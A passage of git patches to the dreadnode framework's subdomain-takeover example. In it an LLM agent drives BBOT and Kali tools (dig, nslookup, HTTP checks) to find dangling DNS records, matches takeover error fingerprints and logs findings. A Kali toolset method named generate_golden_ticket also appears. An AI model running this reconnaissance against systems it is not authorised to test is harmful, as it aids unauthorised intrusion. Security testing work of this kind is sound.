dn.run("subdomain-takeover-hunt"): + # Log parameters + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [] + ) + + # Log inputs + dn.log_input("targets", targets) + if presets: + dn.log_input("presets", presets) + if modules: + dn.log_input("modules", modules) + if flags: + dn.log_input("flags", flags) + if config: + dn.log_input("config", str(config)) + + console.print(f"Starting subdomain takeover hunt on {len(targets)} targets") + + tool = await BBotTool.create() + events = tool.run( + targets=targets, + presets=presets, + modules=modules, + flags=flags, + config=config, + ) + + # Track metrics + analyzed_count = 0 + vulnerability_count = 0 + findings = [] - tool = await BBotTool.create() - events = tool.run( - targets=targets, - presets=presets, - modules=modules, - flags=flags, - config=config, - ) + async for event in events: + console.print(event) + + # Analyze DNS_NAME events for takeover vulnerabilities + if event.type == "DNS_NAME": + try: + subdomain = str(event.data) + console.print(f"Analyzing subdomain: {subdomain}") - async for event in events: - console.print(event) - - # Analyze DNS_NAME events for takeover vulnerabilities - if event.type == "DNS_NAME": - try: - subdomain = str(event.data) - console.print(f"Analyzing subdomain: {subdomain}") - - takeover_agent = create_takeover_agent() - - result = await takeover_agent.run( - f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " - f"Use your tools as needed and provide a concise risk assessment." - ) - - display_analysis_result(result, subdomain) - - except Exception as e: - console.print(f"Error analyzing subdomain: {e}") - - # Analyze FINDING events for takeover indicators - elif event.type == "FINDING" and any(keyword in str(event.data).lower() for keyword in ["takeover", "dangling", "cname"]): - try: - console.print(f"BBOT finding: {event.data}") - - # Extract domains from finding - domain_pattern = r'([a-zA-Z0-9]([a-zA-Z0-9-]{1,61})?[a-zA-Z0-9]\.)+[a-zA-Z]{2,}' - domains = re.findall(domain_pattern, str(event.data)) - - if domains: - domain = domains[0][0] if isinstance(domains[0], tuple) else domains[0] - console.print(f"Validating extracted domain: {domain}") - takeover_agent = create_takeover_agent() + result = await takeover_agent.run( - f"Validate the potential subdomain takeover for '{domain}'. " - f"Determine if this is a genuine vulnerability." + f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " + f"Use your tools as needed and provide a concise risk assessment." ) + + display_analysis_result(result, subdomain) - display_analysis_result(result, domain) - else: - console.print("No domain extracted from finding") + analyzed_count += 1 - except Exception as e: - console.print(f"Error validating finding: {e}") + # Check if this is a potential vulnerability + if result and result.messages: + final_message = result.messages[-1] + # More specific vulnerability detection - look for confirmed takeover language + if final_message.content and any( + phrase in final_message.content.lower() + for phrase in [ + "potential takeover", "vulnerable to takeover", "takeover vulnerability found", + "dangling cname", "unclaimed resource", "takeover indicator" + ] + ): + vulnerability_count += 1 + findings.append({ + "subdomain": subdomain, + "analysis": final_message.content, + "steps": result.steps + }) + + except Exception as e: + console.print(f"Error analyzing subdomain: {e}") + + # Analyze FINDING events for takeover indicators + elif event.type == "FINDING" and any( + keyword in str(event.data).lower() for keyword in ["takeover", "dangling", "cname"] + ): + try: + console.print(f"BBOT finding: {event.data}") + + # Extract domains from finding + domain_pattern = r"([a-zA-Z0-9]([a-zA-Z0-9-]{1,61})?[a-zA-Z0-9]\.)+[a-zA-Z]{2,}" + domains = re.findall(domain_pattern, str(event.data)) + + if domains: + domain = domains[0][0] if isinstance(domains[0], tuple) else domains[0] + console.print(f"Validating extracted domain: {domain}") + + takeover_agent = create_takeover_agent() + result = await takeover_agent.run( + f"Validate the potential subdomain takeover for '{domain}'. " + f"Determine if this is a genuine vulnerability." + ) + + display_analysis_result(result, domain) + analyzed_count += 1 + else: + console.print("No domain extracted from finding") + + except Exception as e: + console.print(f"Error validating finding: {e}") + + # Log final metrics and outputs + dn.log_metric("subdomains_analyzed", analyzed_count) + dn.log_metric("vulnerabilities_found", vulnerability_count) + dn.log_output("findings", findings) + dn.log_output("summary", { + "total_targets": len(targets), + "subdomains_analyzed": analyzed_count, + "vulnerabilities_found": vulnerability_count, + "findings": findings + }) -@app.command async def validate(subdomain: str) -> None: """Validate a specific subdomain for takeover vulnerability.""" - - console.print(f"Validating subdomain: {subdomain}") - - try: - takeover_agent = create_takeover_agent() - - result = await takeover_agent.run( - f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " - f"Use your tools strategically to assess risks and provide actionable recommendations." - ) + + # Start dreadnode run context + with dn.run("subdomain-takeover-validate"): + # Log parameters + dn.log_params(subdomain=subdomain) - display_analysis_result(result, subdomain) + # Log inputs + dn.log_input("subdomain", subdomain) - except Exception as e: - console.print(f"Validation failed: {e}") + console.print(f"Validating subdomain: {subdomain}") + + try: + takeover_agent = create_takeover_agent() + + result = await takeover_agent.run( + f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " + f"Use your tools strategically to assess risks and provide actionable recommendations." + ) + + display_analysis_result(result, subdomain) + + # Check if vulnerability found and log metrics + is_vulnerable = False + if result and result.messages: + final_message = result.messages[-1] + # More specific vulnerability detection - look for confirmed takeover language + if final_message.content and any( + phrase in final_message.content.lower() + for phrase in [ + "potential takeover", "vulnerable to takeover", "takeover vulnerability found", + "dangling cname", "unclaimed resource", "takeover indicator" + ] + ): + is_vulnerable = True + + # Log outputs and metrics + dn.log_output("analysis_result", { + "subdomain": subdomain, + "is_vulnerable": is_vulnerable, + "analysis": result.messages[-1].content if result and result.messages else None, + "steps": result.steps if result else 0 + }) + dn.log_metric("vulnerability_found", 1 if is_vulnerable else 0) + + except Exception as e: + console.print(f"Validation failed: {e}") + dn.log_output("error", str(e)) + + +async def main(): + parser = argparse.ArgumentParser(description="Subdomain takeover vulnerability scanner") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + # Hunt command + hunt_parser = subparsers.add_parser("hunt", help="Hunt for subdomain takeover vulnerabilities") + hunt_parser.add_argument( + "--targets", type=Path, help="Path to file containing target subdomains" + ) + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + # Validate command + validate_parser = subparsers.add_parser("validate", help="Validate a specific subdomain") + validate_parser.add_argument("subdomain", help="Subdomain to validate") + + # Info commands + subparsers.add_parser("modules", help="List available BBOT modules") + subparsers.add_parser("presets", help="List available BBOT presets") + subparsers.add_parser("flags", help="List available BBOT flags") + subparsers.add_parser("events", help="List available BBOT event types") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "validate": + await validate(args.subdomain) + elif args.command == "modules": + await modules() + elif args.command == "presets": + await presets() + elif args.command == "flags": + await flags() + elif args.command == "events": + await events() + else: + parser.print_help() if __name__ == "__main__": - app() \ No newline at end of file + asyncio.run(main()) From af57a2a57595ccaa14ee57b3d935fefb3de77ff4 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 Aug 2025 13:59:56 -0400 Subject: [PATCH 38/60] fix: kali tools for subdomain enum and grant cleaner agency --- dreadnode/agent/tools/kali/tool.py | 115 ++++++++++---------- examples/agents/subdomain_takeover/agent.py | 100 ++++++++++++----- 2 files changed, 130 insertions(+), 85 deletions(-) diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py index 73ca248e..dcd31351 100644 --- a/dreadnode/agent/tools/kali/tool.py +++ b/dreadnode/agent/tools/kali/tool.py @@ -760,21 +760,21 @@ def dig_dns_lookup( Example: >>> result = dig_dns_lookup("subdomain.example.com", "CNAME") """ - + cmd = ["dig", f"@{nameserver}", domain, record_type, "+short"] - + try: logger.info(f"[*] Performing DNS lookup for {domain} ({record_type})") result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=30) # noqa: S603 - + if result.stdout.strip(): output = f"DNS {record_type} record for {domain}:\n{result.stdout.strip()}" else: output = f"No {record_type} record found for {domain}" - + logger.info(f"[*] DNS lookup completed for {domain}") return output - + except subprocess.TimeoutExpired: return f"DNS lookup timed out for {domain}" except Exception as e: @@ -799,105 +799,108 @@ def nslookup_dns_query( Example: >>> result = nslookup_dns_query("test.example.com") """ - + cmd = ["nslookup", domain, nameserver] - + try: logger.info(f"[*] Running nslookup for {domain}") result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=30) # noqa: S603 - + logger.info(f"[*] nslookup completed for {domain}") return f"nslookup results for {domain}:\n{result.stdout}" - + except subprocess.TimeoutExpired: return f"nslookup timed out for {domain}" except Exception as e: return f"nslookup failed for {domain}: {e!s}" - @tool_method() + @tool_method() def check_subdomain_takeover( self, subdomain: str, ) -> str: """ - Check if subdomain is vulnerable to takeover by analyzing DNS records and HTTP responses. + Perform basic DNS and HTTP checks on a subdomain. Returns raw data for analysis. Args: - subdomain: Subdomain to check for takeover vulnerability + subdomain: Subdomain to check Returns: - Analysis results indicating takeover vulnerability status + DNS and HTTP information for the subdomain Example: >>> result = check_subdomain_takeover("old.example.com") """ - + results = [] - + # Check CNAME record try: cname_result = subprocess.run( - ["dig", "@8.8.8.8", subdomain, "CNAME", "+short"], - check=False, capture_output=True, text=True, timeout=15 - ) # noqa: S603 - + ["dig", "@8.8.8.8", subdomain, "CNAME", "+short"], + check=False, + capture_output=True, + text=True, + timeout=15, + ) + if cname_result.stdout.strip(): cname_target = cname_result.stdout.strip() - results.append(f"CNAME points to: {cname_target}") - - # Check if CNAME target is resolvable + results.append(f"CNAME: {cname_target}") + + # Check if CNAME target resolves a_result = subprocess.run( ["dig", "@8.8.8.8", cname_target, "A", "+short"], - check=False, capture_output=True, text=True, timeout=15 - ) # noqa: S603 - - if not a_result.stdout.strip(): - results.append(f"🚨 POTENTIAL TAKEOVER: CNAME target '{cname_target}' does not resolve!") - else: + check=False, + capture_output=True, + text=True, + timeout=15, + ) + + if a_result.stdout.strip(): results.append(f"CNAME target resolves to: {a_result.stdout.strip()}") + else: + results.append(f"CNAME target does not resolve") else: - results.append("No CNAME record found") - + results.append("No CNAME record") + except Exception as e: - results.append(f"CNAME check failed: {e}") - + results.append(f"CNAME check error: {e}") + # Check A record try: a_result = subprocess.run( ["dig", "@8.8.8.8", subdomain, "A", "+short"], - check=False, capture_output=True, text=True, timeout=15 - ) # noqa: S603 - + check=False, + capture_output=True, + text=True, + timeout=15, + ) + if a_result.stdout.strip(): results.append(f"A record: {a_result.stdout.strip()}") else: - results.append("🚨 No A record found - potential dangling subdomain!") - + results.append("No A record") + except Exception as e: - results.append(f"A record check failed: {e}") - - # Try HTTP request to check for service errors + results.append(f"A record check error: {e}") + + # Try HTTP request try: import requests response = requests.get(f"http://{subdomain}", timeout=10, allow_redirects=False) results.append(f"HTTP status: {response.status_code}") - - # Check for common takeover error messages - error_strings = [ - "NoSuchBucket", "Repository not found", "Project not found", - "There isn't a GitHub Pages site here", "herokucdn.com/error-pages", - "The specified bucket does not exist", "This site is disabled" - ] - - for error in error_strings: - if error.lower() in response.text.lower(): - results.append(f"🚨 TAKEOVER INDICATOR: Found '{error}' in response!") - + + # Include first 500 chars of response for analysis + if response.text: + preview = response.text[:500].replace('\n', ' ').strip() + results.append(f"HTTP response preview: {preview}") + except Exception as e: - results.append(f"HTTP check failed: {e}") - - logger.info(f"[*] Subdomain takeover check completed for {subdomain}") - return f"Subdomain takeover analysis for {subdomain}:\n" + "\n".join(results) + results.append(f"HTTP request failed: {e}") + + logger.info(f"[*] DNS and HTTP check completed for {subdomain}") + return "\n".join(results) @tool_method() def generate_golden_ticket( diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index cf5cc471..fad49c79 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -1,6 +1,7 @@ import argparse import asyncio import re +import time import typing as t from pathlib import Path @@ -96,7 +97,7 @@ def create_takeover_agent() -> Agent: ) -def display_analysis_result(result: AgentResult, subdomain: str) -> None: +def display_analysis_result(result: AgentResult, subdomain: str, debug: bool = False) -> None: """Display the agent's analysis result.""" if not result or not result.messages: console.print("Analysis completed but no content available") @@ -104,14 +105,25 @@ def display_analysis_result(result: AgentResult, subdomain: str) -> None: # Show which tools the agent decided to use tools_used = [] + tool_outputs = {} for message in result.messages: if message.role == "assistant" and message.tool_calls: for tool_call in message.tool_calls: tools_used.append(tool_call.function.name) + elif message.role == "tool" and debug: + # Capture tool outputs for debugging + tool_name = getattr(message, 'name', 'unknown') + tool_outputs[tool_name] = message.content if tools_used: console.print(f"Agent used: {', '.join(tools_used)}") + # Show raw tool outputs in debug mode + if debug and tool_outputs: + console.print(f"\n[DEBUG] Raw tool outputs:") + for tool_name, output in tool_outputs.items(): + console.print(f" {tool_name}: {output[:200]}..." if len(output) > 200 else f" {tool_name}: {output}") + final_message = result.messages[-1] if final_message.content: console.print(f"\nAnalysis for {subdomain}:") @@ -192,9 +204,9 @@ async def hunt( config=config, ) - # Track metrics + # Track metrics at task level analyzed_count = 0 - vulnerability_count = 0 + findings_count = 0 findings = [] async for event in events: @@ -216,24 +228,40 @@ async def hunt( display_analysis_result(result, subdomain) analyzed_count += 1 + dn.log_metric("subdomains_analyzed", analyzed_count) - # Check if this is a potential vulnerability + finding_stored = False if result and result.messages: final_message = result.messages[-1] - # More specific vulnerability detection - look for confirmed takeover language - if final_message.content and any( + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + if tool_call.function.name == "store_subdomain_takeover_finding": + finding_stored = True + break + + if finding_stored or (final_message.content and any( phrase in final_message.content.lower() for phrase in [ - "potential takeover", "vulnerable to takeover", "takeover vulnerability found", - "dangling cname", "unclaimed resource", "takeover indicator" + "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", + "vulnerable to takeover", "dangling cname", "unclaimed resource", + "takeover indicator", "successful subdomain takeover" ] - ): - vulnerability_count += 1 - findings.append({ + )): + findings_count += 1 + dn.log_metric("findings_found", findings_count) + + security_finding = { "subdomain": subdomain, + "finding_type": "subdomain_takeover", + "risk_level": "high", "analysis": final_message.content, - "steps": result.steps - }) + "steps": result.steps, + "timestamp": time.time(), + "stored_in_db": finding_stored + } + findings.append(security_finding) + dn.log_output(f"finding_{subdomain}", security_finding) except Exception as e: console.print(f"Error analyzing subdomain: {e}") @@ -267,19 +295,22 @@ async def hunt( except Exception as e: console.print(f"Error validating finding: {e}") - # Log final metrics and outputs dn.log_metric("subdomains_analyzed", analyzed_count) - dn.log_metric("vulnerabilities_found", vulnerability_count) - dn.log_output("findings", findings) + dn.log_metric("findings_found", findings_count) + dn.log_output("security_findings", findings) dn.log_output("summary", { "total_targets": len(targets), "subdomains_analyzed": analyzed_count, - "vulnerabilities_found": vulnerability_count, + "findings_found": findings_count, "findings": findings }) + + console.print(f"\n📊 Task Summary:") + console.print(f" Subdomains analyzed: {analyzed_count}") + console.print(f" Security findings: {findings_count}") -async def validate(subdomain: str) -> None: +async def validate(subdomain: str, debug: bool = False) -> None: """Validate a specific subdomain for takeover vulnerability.""" # Start dreadnode run context @@ -300,30 +331,40 @@ async def validate(subdomain: str) -> None: f"Use your tools strategically to assess risks and provide actionable recommendations." ) - display_analysis_result(result, subdomain) + display_analysis_result(result, subdomain, debug=debug) - # Check if vulnerability found and log metrics - is_vulnerable = False + has_finding = False if result and result.messages: final_message = result.messages[-1] - # More specific vulnerability detection - look for confirmed takeover language if final_message.content and any( phrase in final_message.content.lower() for phrase in [ - "potential takeover", "vulnerable to takeover", "takeover vulnerability found", - "dangling cname", "unclaimed resource", "takeover indicator" + "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", + "vulnerable to takeover", "dangling cname", "unclaimed resource", + "takeover indicator", "successful subdomain takeover" ] ): - is_vulnerable = True + has_finding = True + + security_finding = { + "subdomain": subdomain, + "finding_type": "subdomain_takeover", + "risk_level": "high", + "analysis": final_message.content, + "steps": result.steps, + "timestamp": time.time() + } + dn.log_output("security_finding", security_finding) - # Log outputs and metrics + dn.log_output("analysis_result", { "subdomain": subdomain, - "is_vulnerable": is_vulnerable, + "has_finding": has_finding, "analysis": result.messages[-1].content if result and result.messages else None, "steps": result.steps if result else 0 }) - dn.log_metric("vulnerability_found", 1 if is_vulnerable else 0) + dn.log_metric("findings_found", 1 if has_finding else 0) + dn.log_metric("subdomains_analyzed", 1) except Exception as e: console.print(f"Validation failed: {e}") @@ -347,6 +388,7 @@ async def main(): # Validate command validate_parser = subparsers.add_parser("validate", help="Validate a specific subdomain") validate_parser.add_argument("subdomain", help="Subdomain to validate") + validate_parser.add_argument("--debug", action="store_true", help="Show raw tool outputs") # Info commands subparsers.add_parser("modules", help="List available BBOT modules") @@ -359,7 +401,7 @@ async def main(): if args.command == "hunt": await hunt(args.targets, args.presets, args.modules, args.flags, args.config) elif args.command == "validate": - await validate(args.subdomain) + await validate(args.subdomain, args.debug) elif args.command == "modules": await modules() elif args.command == "presets": From 27e5494542c690bcf780c077ff37df36e58ad0ac Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 Aug 2025 14:14:56 -0400 Subject: [PATCH 39/60] chore: hook up dn.task decorators to async functions --- examples/agents/subdomain_takeover/agent.py | 178 ++++++++++++-------- 1 file changed, 107 insertions(+), 71 deletions(-) diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index fad49c79..a07dd213 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -64,6 +64,42 @@ console = Console() +@dn.task() +async def analyze_subdomain(subdomain: str) -> dict: + """Analyze a single subdomain for takeover vulnerabilities.""" + takeover_agent = create_takeover_agent() + + result = await takeover_agent.run( + f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " + f"Use your tools as needed and provide a concise risk assessment." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tools_used.append(tool_call.function.name) + elif message.role == "tool": + tool_name = getattr(message, 'name', 'unknown') + tool_outputs[tool_name] = message.content + dn.log_output(f"tool_output_{tool_name}", message.content) + + analysis_result = { + "subdomain": subdomain, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps + } + + dn.log_metric("tools_used_count", len(tools_used)) + dn.log_output("raw_tool_data", tool_outputs) + + return analysis_result + + def create_takeover_agent() -> Agent: """Create a subdomain takeover analysis agent.""" tools = [BBotTool(), KaliTool(), Neo4jTool()] @@ -131,6 +167,20 @@ def display_analysis_result(result: AgentResult, subdomain: str, debug: bool = F console.print(f"\nProcessed {len(result.messages)} messages in {result.steps} steps") +def display_analysis_result_from_task(analysis_result: dict, debug: bool = False) -> None: + """Display analysis result from task.""" + console.print(f"Agent used: {', '.join(analysis_result['tools_used'])}") + + if debug and analysis_result['tool_outputs']: + console.print(f"\n[DEBUG] Raw tool outputs:") + for tool_name, output in analysis_result['tool_outputs'].items(): + console.print(f" {tool_name}: {output[:200]}..." if len(output) > 200 else f" {tool_name}: {output}") + + console.print(f"\nAnalysis for {analysis_result['subdomain']}:") + console.print(analysis_result['analysis']) + console.print(f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps") + + async def modules() -> None: """List available BBOT modules.""" tool = await BBotTool.create() @@ -218,50 +268,41 @@ async def hunt( subdomain = str(event.data) console.print(f"Analyzing subdomain: {subdomain}") - takeover_agent = create_takeover_agent() - - result = await takeover_agent.run( - f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " - f"Use your tools as needed and provide a concise risk assessment." - ) - - display_analysis_result(result, subdomain) + analysis_result = await analyze_subdomain(subdomain) + + console.print(f"Agent used: {', '.join(analysis_result['tools_used'])}") + console.print(f"\nAnalysis for {subdomain}:") + console.print(analysis_result['analysis']) + console.print(f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps") analyzed_count += 1 dn.log_metric("subdomains_analyzed", analyzed_count) - finding_stored = False - if result and result.messages: - final_message = result.messages[-1] - for message in result.messages: - if message.role == "assistant" and message.tool_calls: - for tool_call in message.tool_calls: - if tool_call.function.name == "store_subdomain_takeover_finding": - finding_stored = True - break + finding_stored = "store_subdomain_takeover_finding" in analysis_result['tools_used'] + + if finding_stored or (analysis_result['analysis'] and any( + phrase in analysis_result['analysis'].lower() + for phrase in [ + "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", + "vulnerable to takeover", "dangling cname", "unclaimed resource", + "takeover indicator", "successful subdomain takeover" + ] + )): + findings_count += 1 + dn.log_metric("findings_found", findings_count) - if finding_stored or (final_message.content and any( - phrase in final_message.content.lower() - for phrase in [ - "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", - "vulnerable to takeover", "dangling cname", "unclaimed resource", - "takeover indicator", "successful subdomain takeover" - ] - )): - findings_count += 1 - dn.log_metric("findings_found", findings_count) - - security_finding = { - "subdomain": subdomain, - "finding_type": "subdomain_takeover", - "risk_level": "high", - "analysis": final_message.content, - "steps": result.steps, - "timestamp": time.time(), - "stored_in_db": finding_stored - } - findings.append(security_finding) - dn.log_output(f"finding_{subdomain}", security_finding) + security_finding = { + "subdomain": subdomain, + "finding_type": "subdomain_takeover", + "risk_level": "high", + "analysis": analysis_result['analysis'], + "tool_outputs": analysis_result['tool_outputs'], + "steps": analysis_result['steps'], + "timestamp": time.time(), + "stored_in_db": finding_stored + } + findings.append(security_finding) + dn.log_output(f"finding_{subdomain}", security_finding) except Exception as e: console.print(f"Error analyzing subdomain: {e}") @@ -324,44 +365,39 @@ async def validate(subdomain: str, debug: bool = False) -> None: console.print(f"Validating subdomain: {subdomain}") try: - takeover_agent = create_takeover_agent() - - result = await takeover_agent.run( - f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " - f"Use your tools strategically to assess risks and provide actionable recommendations." - ) - - display_analysis_result(result, subdomain, debug=debug) + analysis_result = await analyze_subdomain(subdomain) - has_finding = False - if result and result.messages: - final_message = result.messages[-1] - if final_message.content and any( - phrase in final_message.content.lower() - for phrase in [ - "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", - "vulnerable to takeover", "dangling cname", "unclaimed resource", - "takeover indicator", "successful subdomain takeover" - ] - ): - has_finding = True - - security_finding = { - "subdomain": subdomain, - "finding_type": "subdomain_takeover", - "risk_level": "high", - "analysis": final_message.content, - "steps": result.steps, - "timestamp": time.time() - } - dn.log_output("security_finding", security_finding) + display_analysis_result_from_task(analysis_result, debug=debug) + + finding_stored = "store_subdomain_takeover_finding" in analysis_result['tools_used'] + has_finding = finding_stored or (analysis_result['analysis'] and any( + phrase in analysis_result['analysis'].lower() + for phrase in [ + "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", + "vulnerable to takeover", "dangling cname", "unclaimed resource", + "takeover indicator", "successful subdomain takeover" + ] + )) + if has_finding: + security_finding = { + "subdomain": subdomain, + "finding_type": "subdomain_takeover", + "risk_level": "high", + "analysis": analysis_result['analysis'], + "tool_outputs": analysis_result['tool_outputs'], + "steps": analysis_result['steps'], + "timestamp": time.time(), + "stored_in_db": finding_stored + } + dn.log_output("security_finding", security_finding) dn.log_output("analysis_result", { "subdomain": subdomain, "has_finding": has_finding, - "analysis": result.messages[-1].content if result and result.messages else None, - "steps": result.steps if result else 0 + "analysis": analysis_result['analysis'], + "tool_outputs": analysis_result['tool_outputs'], + "steps": analysis_result['steps'] }) dn.log_metric("findings_found", 1 if has_finding else 0) dn.log_metric("subdomains_analyzed", 1) From 90c96e9911bd99d8475476a057552892e93ee378 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 Aug 2025 14:48:24 -0400 Subject: [PATCH 40/60] chore: add metrics at run level for evaluations --- dreadnode/agent/tools/kali/tool.py | 24 +++++++++++---- examples/agents/subdomain_takeover/agent.py | 34 ++++++++++++++++++--- 2 files changed, 47 insertions(+), 11 deletions(-) diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py index dcd31351..b43d2af1 100644 --- a/dreadnode/agent/tools/kali/tool.py +++ b/dreadnode/agent/tools/kali/tool.py @@ -833,11 +833,14 @@ def check_subdomain_takeover( """ results = [] + executed_commands = [] # Check CNAME record try: + cname_cmd = ["dig", "@8.8.8.8", subdomain, "CNAME", "+short"] + executed_commands.append(" ".join(cname_cmd)) cname_result = subprocess.run( - ["dig", "@8.8.8.8", subdomain, "CNAME", "+short"], + cname_cmd, check=False, capture_output=True, text=True, @@ -849,8 +852,10 @@ def check_subdomain_takeover( results.append(f"CNAME: {cname_target}") # Check if CNAME target resolves + a_cname_cmd = ["dig", "@8.8.8.8", cname_target, "A", "+short"] + executed_commands.append(" ".join(a_cname_cmd)) a_result = subprocess.run( - ["dig", "@8.8.8.8", cname_target, "A", "+short"], + a_cname_cmd, check=False, capture_output=True, text=True, @@ -860,7 +865,7 @@ def check_subdomain_takeover( if a_result.stdout.strip(): results.append(f"CNAME target resolves to: {a_result.stdout.strip()}") else: - results.append(f"CNAME target does not resolve") + results.append("CNAME target does not resolve") else: results.append("No CNAME record") @@ -869,8 +874,10 @@ def check_subdomain_takeover( # Check A record try: + a_cmd = ["dig", "@8.8.8.8", subdomain, "A", "+short"] + executed_commands.append(" ".join(a_cmd)) a_result = subprocess.run( - ["dig", "@8.8.8.8", subdomain, "A", "+short"], + a_cmd, check=False, capture_output=True, text=True, @@ -888,19 +895,24 @@ def check_subdomain_takeover( # Try HTTP request try: import requests + + http_cmd = f"curl -I http://{subdomain}" + executed_commands.append(http_cmd) response = requests.get(f"http://{subdomain}", timeout=10, allow_redirects=False) results.append(f"HTTP status: {response.status_code}") # Include first 500 chars of response for analysis if response.text: - preview = response.text[:500].replace('\n', ' ').strip() + preview = response.text[:500].replace("\n", " ").strip() results.append(f"HTTP response preview: {preview}") except Exception as e: results.append(f"HTTP request failed: {e}") logger.info(f"[*] DNS and HTTP check completed for {subdomain}") - return "\n".join(results) + + command_log = "Commands executed:\n" + "\n".join(f" {cmd}" for cmd in executed_commands) + return command_log + "\n\nResults:\n" + "\n".join(results) @tool_method() def generate_golden_ticket( diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index a07dd213..f0ff5d32 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -64,7 +64,10 @@ console = Console() -@dn.task() +@dn.task( + name="Analyze Subdomain", + label="analyze_subdomain" +) async def analyze_subdomain(subdomain: str) -> dict: """Analyze a single subdomain for takeover vulnerabilities.""" takeover_agent = create_takeover_agent() @@ -85,18 +88,39 @@ async def analyze_subdomain(subdomain: str) -> dict: tool_name = getattr(message, 'name', 'unknown') tool_outputs[tool_name] = message.content dn.log_output(f"tool_output_{tool_name}", message.content) + + if "Commands executed:" in message.content: + commands_section = message.content.split("Commands executed:")[1].split("Results:")[0] + commands = [line.strip() for line in commands_section.strip().split('\n') if line.strip()] + dn.log_output(f"executed_commands_{tool_name}", commands) + + finding_stored = "store_subdomain_takeover_finding" in tools_used + has_finding = finding_stored + if result.messages and result.messages[-1].content: + has_finding = has_finding or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "potential takeover", "subdomain takeover vulnerability", "takeover vulnerability", + "vulnerable to takeover", "dangling cname", "unclaimed resource", + "takeover indicator", "successful subdomain takeover" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_finding", 1 if has_finding else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) analysis_result = { "subdomain": subdomain, "tools_used": tools_used, "tool_outputs": tool_outputs, "analysis": result.messages[-1].content if result.messages else None, - "steps": result.steps + "steps": result.steps, + "has_finding": has_finding, + "stored_in_db": finding_stored } - dn.log_metric("tools_used_count", len(tools_used)) - dn.log_output("raw_tool_data", tool_outputs) - return analysis_result From f615309269629fe7c80b75985075d5f9e57d27ca Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sat, 30 Aug 2025 03:41:41 -0600 Subject: [PATCH 41/60] reconfigure bbot tool --- dreadnode/agent/tools/bbot/tool.py | 79 +++++++++++++++--------------- examples/agents/bbot/agent.py | 41 +++++++++------- 2 files changed, 61 insertions(+), 59 deletions(-) diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py index 924388a8..08617b0a 100644 --- a/dreadnode/agent/tools/bbot/tool.py +++ b/dreadnode/agent/tools/bbot/tool.py @@ -1,7 +1,6 @@ -from pathlib import Path +import typing as t from bbot import Preset, Scanner -from loguru import logger from pydantic import Field from rich.console import Console @@ -15,20 +14,48 @@ class BBotTool(Toolset): tool_name: str = Field(default="bbot-agent", description="Name of the BBOT Tool") - scanner: Scanner | None = Field(default=None, exclude=True) - scan_timeout: int = Field(default=300, description="Timeout for BBOT scans in seconds") - config_dir: Path = Field( - default=Path(__file__).parent.parent.parent.parent / "config", exclude=True + targets: list[str] = Field(default_factory=list, description="Targets to scan with BBOT") + modules: list[str] = Field(default_factory=list, description="Modules to run with BBOT") + presets: list[str] = Field(default_factory=list, description="Presets to use with BBOT") + flags: list[str] = Field(default=None, description="Flags to enable module groups") + config: dict[str, t.Any] = Field( + default=None, description="Custom config options in key=value format" ) + scan: Scanner = Field(default=None, description="The BBOT Scanner instance") + scan_timeout: int = Field(default=300, description="Timeout for BBOT scans in seconds") + dispatcher: Dispatcher = Field(default_factory=Dispatcher, exclude=True) @classmethod - async def create(cls, tool_name: str = "bbot-agent", **kwargs: dict) -> "BBotTool": + async def create( + cls, + targets: list[str], + modules: list[str] | None = 